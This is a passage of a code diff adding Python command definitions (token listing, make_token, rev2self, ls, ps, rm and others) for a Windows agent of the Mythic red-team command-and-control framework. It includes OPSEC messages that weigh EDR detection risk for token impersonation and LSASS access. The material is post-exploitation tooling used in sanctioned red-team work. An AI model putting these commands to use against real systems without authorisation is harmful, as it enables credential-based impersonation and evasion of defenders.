message += "Token enumeration is monitored by:\n"
message += " • EDR/XDR solutions (behavioral detection)\n"
message += " • Process monitoring tools\n"
message += " • Security auditing systems\n\n"
if pid:
message += f"Target Process ID: {pid}\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • Token enumeration API calls\n"
message += " • Process access for token queries\n"
message += " • Suspicious enumeration patterns\n"
message += " • Security event logging (if enabled)\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Enumerating tokens from processes may be logged\n"
message += " • Accessing sensitive processes (LSASS) is monitored\n"
message += " • Lower detection risk than token theft\n"
message += " • Useful for reconnaissance before token operations\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
pid = taskData.args.get_arg("process_id")
message = "⚠️ OPSEC POST-CHECK - Token Enumeration Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Access: OpenProcess for token queries\n"
message += " • Token Enumeration: Token enumeration API calls\n"
message += " • Process Information: Token details retrieved\n\n"
if pid:
message += f"Target Process ID: {pid}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR behavioral detection (low-moderate confidence)\n"
message += " • Process access monitoring\n"
message += " • Security event logging (if enabled)\n\n"
message += "⚠️ DETECTION PROBABILITY:\n"
message += " • Lower than token theft operations\n"
message += " • Process access may be logged\n"
message += " • Enumeration patterns may be detected\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Listing all available tokens..."
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,338 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import re
import string, json
import os
from datetime import datetime
import logging
logging.basicConfig(level=logging.INFO)
class LsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Path del fichero o de la carpeta del sistema",
parameter_group_info=[ParameterGroupInfo(
required=False
)]
),
]
async def parse_arguments(self):
if len(self.command_line) > 0:
# Check if it's JSON from File Browser
if self.command_line[0] == '{':
try:
temp_json = json.loads(self.command_line)
if 'host' in temp_json:
# File Browser format: combine path + file
full_path = temp_json.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
else:
path = temp_json.get('path', '')
file = temp_json.get('file', '')
if path and file:
# Normalize path separators
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", temp_json.get('host', ''))
self.add_arg("file_browser", "true")
return
except:
pass
# Regular command line usage
self.add_arg("path", self.command_line)
self.add_arg("host", "")
self.add_arg("file_browser", "false")
else:
# No arguments, list current directory
self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "false")
async def parse_dictionary(self, dictionary):
logging.info(f"Parse Dictionary - {dictionary}")
if "host" in dictionary:
# File Browser format
logging.info(f"Command came from File Browser UI - {dictionary}")
full_path = dictionary.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
self.add_arg("path", path + file)
elif path:
self.add_arg("path", path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", dictionary.get("host", ""))
self.add_arg("file_browser", "true")
else:
# Command line usage
logging.info(f"Command came from CMDLINE - {dictionary}")
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
self.add_arg("path", ".\\*")
self.add_arg("host", "")
self.add_arg("file_browser", "false")
self.load_args_from_dictionary(dictionary)
class LsCommand(CommandBase):
cmd = "ls"
needs_admin = False
help_cmd = "ls [path]"
description = "List directory contents with detailed file information including type (File/Directory), size, modification date, and name. Supports wildcards (e.g., 'ls C:\\Windows\\*.exe'). If no path is specified, lists the current working directory. Compatible with Mythic File Browser for interactive file management."
version = 1
supported_ui_features = ["file_browser:list"]
author = "Kaseya OFSTeam"
attackmapping = ["T1106", "T1083"]
argument_class = LsArguments
browser_script = BrowserScript(
script_name="ls", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
path = taskData.args.get_arg("path")
logging.info(f"create_go_tasking - path : {path}")
response.DisplayParams = path
#
if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
taskData.args.add_arg("host", uncmatch.group("host"))
taskData.args.set_arg("path", uncmatch.group("path"))
else:
# Set the host argument to an empty string if it does not exist
taskData.args.add_arg("host", "")
if host := taskData.args.get_arg("host"):
host = host.upper()
# Resolve 'localhost' and '127.0.0.1' aliases
if host == "127.0.0.1" or host.lower() == "localhost":
host = taskData.Callback.Host
taskData.args.set_arg("host", host)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Log that process_response was called
logging.info(f"[FILE_BROWSER] process_response called for task {task.Task.ID}")
logging.info(f"[FILE_BROWSER] response type: {type(response)}")
if response:
logging.info(f"[FILE_BROWSER] response keys: {list(response.keys()) if isinstance(response, dict) else 'not a dict'}")
# Check if this was from File Browser
is_file_browser = task.args.get_arg("file_browser") == "true"
logging.info(f"[FILE_BROWSER] is_file_browser={is_file_browser}")
# Check if translator already parsed file_browser format
# The translator automatically detects and parses File Browser format,
# so we only need to enhance it with host info if needed
if isinstance(response, dict) and "file_browser" in response:
logging.info(f"[FILE_BROWSER] Translator already parsed file_browser, just adding host if missing")
file_browser_data = response.get("file_browser")
if file_browser_data and not file_browser_data.get("host"):
host = task.args.get_arg("host") or ""
if not host and task.Callback:
host = task.Callback.Host
file_browser_data["host"] = host
resp.ProcessResponse = response
return resp
# Only parse if translator didn't already do it (fallback for non-File Browser commands)
if is_file_browser and response:
try:
# Agent output format:
# Line 1: directory path
# Lines 2+: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
output_text = response.get("user_output", "")
if not output_text:
return resp
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
if len(lines) < 1:
logging.warning("[FILE_BROWSER] No lines in output")
return resp
logging.info(f"[FILE_BROWSER] Parsing {len(lines)} lines from output")
logging.info(f"[FILE_BROWSER] First few lines: {lines[:3]}")
# First line is the directory path being listed
dir_path = lines[0].strip()
# Normalize path
if dir_path.endswith('\\*'):
dir_path = dir_path[:-2]
if dir_path.endswith('*'):
dir_path = dir_path[:-1]
dir_path = dir_path.rstrip('\\/')
# Determine parent path
if dir_path.endswith(':\\') or dir_path == '':
parent_path = ""
else:
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
# Get hostname
host = task.args.get_arg("host") or ""
if not host:
host = task.Callback.Host if task.Callback else ""
# Determine if the listed item is a file or directory
# Since we're listing a directory, it's typically not a file
is_file = False
name = os.path.basename(dir_path) if dir_path else ""
if not name:
# Root directory case (e.g., C:\)
if len(dir_path) == 2 and dir_path[1] == ':':
name = dir_path[0] + ':'
parent_path = ""
else:
name = dir_path
# Parse file/directory entries
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
files = []
for i, line in enumerate(lines[1:], 1): # Start from line 1 (skip path line)
parts = line.split('\t')
logging.debug(f"[FILE_BROWSER] Line {i}: {line[:100]}... (parts: {len(parts)})")
if len(parts) >= 4:
file_type = parts[0].strip() # D or F
size_str = parts[1].strip()
datetime_str = parts[2].strip() # MM/DD/YYYY HH:MM:SS (already combined)
file_name = parts[3].strip() if len(parts) > 3 else ""
# Skip empty lines or invalid entries
if not file_type or not file_name:
continue
# Skip . and ..
if file_name in ['.', '..']:
continue
try:
# Parse date: MM/DD/YYYY HH:MM:SS
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
modify_time_ms = int(date_obj.timestamp() * 1000)
# Use modify_time as access_time (agent doesn't provide separate access time)
access_time_ms = modify_time_ms
# Filter out invalid dates (before 1980 or after year 2100)
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
logging.warning(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms}, date: {datetime_str})")
continue
except Exception as date_err:
logging.warning(f"Could not parse date '{datetime_str}': {date_err}")
# Skip files with unparseable dates
continue
try:
# Parse size - remove any text like "b" or "by" at the end
size_str_clean = re.sub(r'[^\d]', '', size_str) # Remove all non-digits
if size_str_clean:
size = int(size_str_clean) if file_type == 'F' else 0
else:
size = 0
except Exception as size_err:
logging.warning(f"Could not parse size '{size_str}': {size_err}")
size = 0
# Get file attributes as permissions (Windows specific)
permissions = {
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
}
# Skip files with invalid names or empty names
if file_name and file_name.strip() and file_name not in ['.', '..']:
files.append({
"is_file": file_type == 'F',
"permissions": permissions,
"name": file_name,
"access_time": access_time_ms,
"modify_time": modify_time_ms,
"size": size
})
logging.debug(f"[FILE_BROWSER] Added: {file_name} ({'file' if file_type == 'F' else 'dir'}, size={size})")
else:
logging.warning(f"[FILE_BROWSER] Skipping line {i} - insufficient parts: {len(parts)}")
# Remove duplicates by name to ensure clean response
seen_files = {}
unique_files = []
for f in files:
file_name = f.get("name", "")
# Only add if we haven't seen this file name before
if file_name and file_name not in seen_files:
seen_files[file_name] = True
unique_files.append(f)
# Use current timestamp for modify_time to help Mythic identify fresh responses
import time
current_timestamp_ms = int(time.time() * 1000)
# Build file_browser response
file_browser_data = {
"host": host,
"is_file": is_file,
"permissions": {"attributes": "DIRECTORY"} if not is_file else {"attributes": "FILE"},
"name": name,
"parent_path": parent_path,
"success": True,
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
"size": 0,
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
"files": unique_files # Use deduplicated files list - complete and fresh
}
logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
# Add file_browser to response
# Merge with existing response (like rm.py does)
resp.ProcessResponse = response if isinstance(response, dict) else {}
resp.ProcessResponse["file_browser"] = file_browser_data
logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response")
logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}")
except Exception as e:
logging.error(f"Error parsing file browser response: {str(e)}")
import traceback
logging.error(traceback.format_exc())
return resp
@@ -0,0 +1,182 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class MakeTokenArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="domain",
type=ParameterType.String,
description="Domain of the account credentials (e.g., acme.corp or empty for local)",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="username",
type=ParameterType.String,
description="Username of the account",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=2
)]
),
CommandParameter(
name="password",
type=ParameterType.String,
description="The plaintext password for the account",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=3
)]
),
CommandParameter(
name="logon_type",
type=ParameterType.Number,
default_value=9,
description="Logon type (default: 9 = LOGON32_LOGON_NEW_CREDENTIALS)",
parameter_group_info=[ParameterGroupInfo(
required=False,
ui_position=4
)]
),
]
async def parse_arguments(self):
parts = self.command_line.split(" ", 2)
if len(parts) < 3:
raise ValueError("Must supply domain, username, and password: make_token <domain> <username> <password> [logon_type]")
self.add_arg("domain", parts[0])
self.add_arg("username", parts[1])
self.add_arg("password", parts[2])
if len(parts) > 3:
try:
self.add_arg("logon_type", int(parts[3]))
except ValueError:
self.add_arg("logon_type", 9)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
if not self.get_arg("logon_type"):
self.add_arg("logon_type", 9)
class MakeTokenCommand(CommandBase):
cmd = "make_token"
needs_admin = False
help_cmd = "make_token <domain> <username> <password> [logon_type]"
description = "Create a new security token using plaintext credentials and impersonate it. Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API. The logon_type parameter (default: 9 - NewCredentials) determines the authentication type. The impersonation context is automatically tracked and displayed in the Mythic UI. Less detectable than 'steal_token' as it doesn't require accessing LSASS memory, but may still generate authentication logs. Use 'rev2self' to revert to the original token."
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.003"]
argument_class = MakeTokenArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about token creation risks.
"""
domain = taskData.args.get_arg("domain") or ""
username = taskData.args.get_arg("username") or ""
logon_type = taskData.args.get_arg("logon_type") or 9
message = "⚠️ OPSEC WARNING - Token Creation Detected\n\n"
message += "Token creation operations are monitored by:\n"
message += " • EDR/XDR solutions (behavioral detection)\n"
message += " • Authentication monitoring tools\n"
message += " • Security auditing systems\n"
message += " • Windows Event Logging (if enabled)\n\n"
message += f"Configuration:\n"
message += f" • Domain: {domain or '(local)'}\n"
message += f" • Username: {username}\n"
message += f" • Logon Type: {logon_type}\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • LogonUser API calls (authentication events)\n"
message += " • Token impersonation API calls\n"
message += " • Privilege escalation detection\n"
message += " • Suspicious authentication patterns\n"
message += " • Windows Event Logs (Security events)\n\n"
message += "💡 COMPARED TO steal_token:\n"
message += " • Less detectable than steal_token (no LSASS access)\n"
message += " • Requires valid credentials (domain/local)\n"
message += " • May generate authentication logs\n"
message += " • Network authentication may be logged\n\n"
message += "⚠️ WARNING: Authentication events may be logged.\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
domain = taskData.args.get_arg("domain") or ""
username = taskData.args.get_arg("username") or ""
message = "⚠️ OPSEC POST-CHECK - Token Creation Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Authentication Event: LogonUser API call\n"
message += " • Token Creation: New token created\n"
message += " • Token Impersonation: Token impersonation API calls\n"
message += " • Context Tracking: Impersonation context updated in Mythic UI\n\n"
message += f"Configuration:\n"
message += f" • Domain: {domain or '(local)'}\n"
message += f" • Username: {username}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR behavioral detection (moderate confidence)\n"
message += " • Windows Event Logging (Security events)\n"
message += " • Authentication monitoring tools\n"
message += " • Network authentication logs (if domain)\n\n"
message += "⚠️ DETECTION PROBABILITY:\n"
message += " • Lower than steal_token (no LSASS access)\n"
message += " • Authentication events may be logged\n"
message += " • Network authentication (domain) is logged\n"
message += " • Behavioral patterns may be detected\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
domain = taskData.args.get_arg("domain") or ""
username = taskData.args.get_arg("username")
logon_type = taskData.args.get_arg("logon_type") or 9
response.DisplayParams = f"Creating token for {domain}\\{username} (logon_type: {logon_type})"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,55 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class MkdirArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Ruta en la que crear el nuevo directorio",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Es necesario agregar una ruta en la que crear el directorio")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class MkdirCommand(CommandBase):
cmd = "mkdir"
needs_admin = False
help_cmd = "mkdir <path>"
description = "Create a new directory on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Creates parent directories if they don't exist. Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = MkdirArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,62 @@
from mythic_container.MythicCommandBase import *
import json
import logging
class PsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("ps no debe lanzarse con parametros")
class PsCommand(CommandBase):
cmd = "ps"
needs_admin = False
help_cmd = "ps"
description = "List all running processes on the target system. Displays detailed process information including PID, process name, parent PID, architecture (x64/x86), username, and session ID. Automatically updates the Mythic Process Browser, allowing interactive process management (kill, steal_token, list_tokens) directly from the UI. The Process Browser cache is automatically cleared to show only currently running processes."
version = 1
supported_ui_features = ["process_browser:list"]
author = "Kaseya OFSTeam"
argument_class = PsArguments
browser_script = BrowserScript(
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent. The translator automatically converts
tab-separated process list to Process Browser JSON format.
We also ensure update_deleted=True is set for all processes to clear the cache.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Merge with existing response if present
if response and isinstance(response, dict):
resp.ProcessResponse = response
# Ensure processes have update_deleted=True to clear cache
if "processes" in resp.ProcessResponse and isinstance(resp.ProcessResponse["processes"], list):
for process in resp.ProcessResponse["processes"]:
if isinstance(process, dict):
process["update_deleted"] = True
logging.info(f"[PROCESS_BROWSER] Set update_deleted=True for {len(resp.ProcessResponse['processes'])} processes in process_response")
return resp
@@ -0,0 +1,43 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class PwdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise ValueError("Pwd no necesita parametros.")
class PwdCommand(CommandBase):
cmd = "pwd"
needs_admin = False
help_cmd = "pwd"
description = "Display the current working directory of the agent. Shows the absolute path that the agent is currently using as its working directory. This directory is automatically tracked and displayed in the Mythic UI context tabs. Useful for verifying the current location before executing file system operations."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = PwdArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,104 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class Rev2SelfArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
pass
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class Rev2SelfCommand(CommandBase):
cmd = "rev2self"
needs_admin = False
help_cmd = "rev2self"
description = "Revert token impersonation back to the original process token. This command stops impersonating any stolen or created token and returns to the agent's original security context. The impersonation context in the Mythic UI is automatically cleared. Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk."
version = 1
author = "@KaseyaOFSTeam"
attackmapping = ["T1134.001"]
argument_class = Rev2SelfArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about token reversion risks.
"""
message = "⚠️ OPSEC WARNING - Token Reversion Detected\n\n"
message += "Reverting token impersonation is monitored by:\n"
message += " • EDR/XDR solutions (behavioral detection)\n"
message += " • Security auditing systems\n"
message += " • Token manipulation monitoring\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • Token reversion API calls\n"
message += " • Context change detection\n"
message += " • Privilege level changes\n"
message += " • Security event logging\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Reverting from elevated token may reduce privileges\n"
message += " • Context tracking will update in Mythic UI\n"
message += " • Lower detection risk than token theft/creation\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the privilege implications."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "⚠️ OPSEC POST-CHECK - Token Reversion Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Token Reversion: RevertToSelf API call\n"
message += " • Context Change: Privilege level change\n"
message += " • Context Tracking: Impersonation context cleared in Mythic UI\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR behavioral detection (low-moderate confidence)\n"
message += " • Security event logging (if enabled)\n"
message += " • Token manipulation monitoring\n\n"
message += "⚠️ DETECTION PROBABILITY:\n"
message += " • Lower than token theft/creation operations\n"
message += " • Context changes may be logged\n"
message += " • Privilege changes may trigger alerts\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "Reverting to original token..."
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,237 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import logging
logging.basicConfig(level=logging.INFO)
class RmArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="ruta al fichero o directorio",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Debe introducir una ruta a un fichero o directorio")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
logging.info(f"[rm] Parse Dictionary - {dictionary}")
# Load args first (will set path from dictionary)
self.load_args_from_dictionary(dictionary)
# Then override with processed values if coming from File Browser
if "host" in dictionary:
# File Browser format
logging.info(f"[rm] Command came from File Browser UI - {dictionary}")
full_path = dictionary.get('full_path', '')
if full_path:
self.add_arg("path", full_path)
logging.info(f"[rm] Using full_path: {full_path}")
else:
path = dictionary.get("path", '')
file = dictionary.get("file", '')
if path and file:
# Combine path and file
if not path.endswith('\\') and not path.endswith('/'):
path = path + "\\"
combined_path = path + file
self.add_arg("path", combined_path)
logging.info(f"[rm] Combined path + file: {combined_path}")
elif path:
self.add_arg("path", path)
logging.info(f"[rm] Using path only: {path}")
else:
raise ValueError("[rm] File Browser request missing both path and file")
self.add_arg("host", dictionary.get("host", ""))
else:
# Command line usage - already loaded from dictionary, just verify
logging.info(f"[rm] Command came from CMDLINE - {dictionary}")
arg_path = self.get_arg("path")
if not arg_path:
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
raise ValueError("[rm] No path specified")
class RmCommand(CommandBase):
cmd = "rm"
needs_admin = False
help_cmd = "rm <path>"
description = "Delete a file or directory from the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Can delete individual files or entire directories. WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety. Use with caution as deleted files cannot be recovered through this command."
version = 1
supported_ui_features = ["file_browser:remove"]
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = RmArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about file deletion risks, especially for system files.
"""
path = taskData.args.get_arg("path") or ""
# Critical system locations
critical_locations = {
"system32": "System32 directory - CRITICAL system files",
"syswow64": "SysWOW64 directory - CRITICAL system files",
"windows": "Windows directory - CRITICAL system files",
"program files": "Program Files - Application files",
"boot": "Boot directory - System boot files",
"winnt": "WinNT directory - System files",
}
# Critical file patterns
critical_files = {
".dll": "DLL files - System libraries",
".sys": "System driver files",
".exe": "Executable files - System binaries",
}
blocked = False
warnings = []
critical_warnings = []
path_lower = path.lower()
for location, reason in critical_locations.items():
if location in path_lower:
critical_warnings.append(f"🚨 {location}: {reason}")
if location in ["system32", "syswow64", "windows", "boot"]:
blocked = True
for file_ext, reason in critical_files.items():
if path_lower.endswith(file_ext) and any(loc in path_lower for loc in ["system32", "syswow64", "windows"]):
warnings.append(f"🚨 {file_ext}: {reason} - System file deletion")
blocked = True
message = "⚠️ OPSEC RISK - File/Directory Deletion Detected\n\n"
message += "File deletion is monitored by:\n"
message += " • EDR/XDR solutions (file deletion monitoring)\n"
message += " • Anti-malware solutions\n"
message += " • File access auditing (if enabled)\n"
message += " • System integrity monitoring\n\n"
if path:
message += f"Target Path: {path}\n\n"
if critical_warnings:
message += "🚨 CRITICAL LOCATION DETECTED:\n"
for warning in critical_warnings:
message += f" {warning}\n"
message += "\n"
if warnings:
message += "🚨 CRITICAL FILE DETECTED:\n"
for warning in warnings:
message += f" {warning}\n"
message += "\n"
message += "🔍 DETECTION RISKS:\n"
message += " • File deletion events (if auditing enabled)\n"
message += " • System file deletion alerts\n"
message += " • File integrity monitoring\n"
message += " • Suspicious deletion patterns\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Deleting system files may cause system instability\n"
message += " • System file deletion triggers immediate alerts\n"
message += " • File deletion is often logged\n"
message += " • Use with extreme caution in system directories\n\n"
if blocked:
message += "⚠️ TO PROCEED: You need approval from another operator.\n"
message += "This command is blocked due to targeting critical system files."
else:
message += "⚠️ WARNING: File deletion may be logged.\n"
message += "✅ This is a WARNING only - command will proceed."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator" if blocked else "operator",
